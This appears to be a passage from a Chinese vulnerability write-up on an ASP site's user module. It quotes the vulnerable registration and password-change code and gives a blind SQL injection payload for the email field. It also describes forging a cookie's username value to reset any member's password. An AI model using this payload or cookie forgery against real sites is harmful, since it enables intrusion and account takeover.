|
3.Register.asp 发生在注册用户的时候
set rs=server.CreateObject("adodb.recordset") rs.open "select * from [YX_User] where Mail='"&trim(request("useremail"))&"' or Name='"&trim(request("username"))&"'",conn,1,1 //直接拿到了useremail和username,就加到了SQL里。 if rs.recordcount>0 then //如果查询出来的记录数大于0 call usererr() //调用usererr() rs.close else 其中usererr()的内容是
sub usererr() response.write "<table width=100% align=center border=0 cellspacing=0 cellpadding=0 bordercolor=#CCCCCC><tr><td bordercolor=#FFFFFF bgcolor=#FFFFFF align=center>" response.write "<table width=450 border=0 align=center cellpadding=2 cellspacing=0><tr><td height=260>" response.write "<p>· <font color=red>用户注册失败!</font></p><p>· 您输入的用户名或e-mail地址已存在,请返回重新输入!</p><p>· <a href=javascript:history.go(-1)>返回上一页</a></p> </td></tr></table></td></tr></table>" end sub 我们可以在useremail里做手脚。输入一个不存在的用户名与一个不存在的email,然后在email里再加上我们的注入语句,如果提示用户名或者EMAIL已存在,就说明我们附加的SQL语句是成立的! 如图:

EMAIL那里输入的是:321564654@123.com ' or exists (select * from admin) or ''<>' 结果:因为存在admin表,如果把admin改成aa,提交以后看到的就是空白页

更改任意用户密码: 发生在修改会员密码的页面, 看处理页面是如何处理的:
action=request.QueryString("action") username=request.cookies("Cnhww")("username") //username是从Cookie里取到的 select case action 。。。。省略 。。。。。 case "savepass" set rs=server.CreateObject("adodb.recordset") rs.open "select * from [YX_User] where name='"&username&"'",conn,1,3 if trim(request("userpassword"))<>"" then rs("password")=md5(trim(request("userpassword"))) //如果userpassword不为空,就进行修改 end if rs.update rs.close set rs=nothing response.Write "<script language=javascript>alert('密码更改成功!');window.location.href='"&request.servervariables("http_referer")&"';</script>" response.End 。。。。省略。。。。 end select
我们可以伪造Cookie来修改任何会员的密码。!
先用我们注册好的用户进入会员中心,点修改密码,打开WSE抓数据包。抓到的内容:

把username=ninty 改成username=admin,这里我们修改admin这个用户的密码。Usernamepassword=123456&userpassword2=123456,这样就把它的密码改成了123456, 这个admin只是一个普通用户,并不是后台的管理员。管理员信息没保存在这个表里。 保存后用NC提交。

上一页 [1] [2] [3] 下一页 |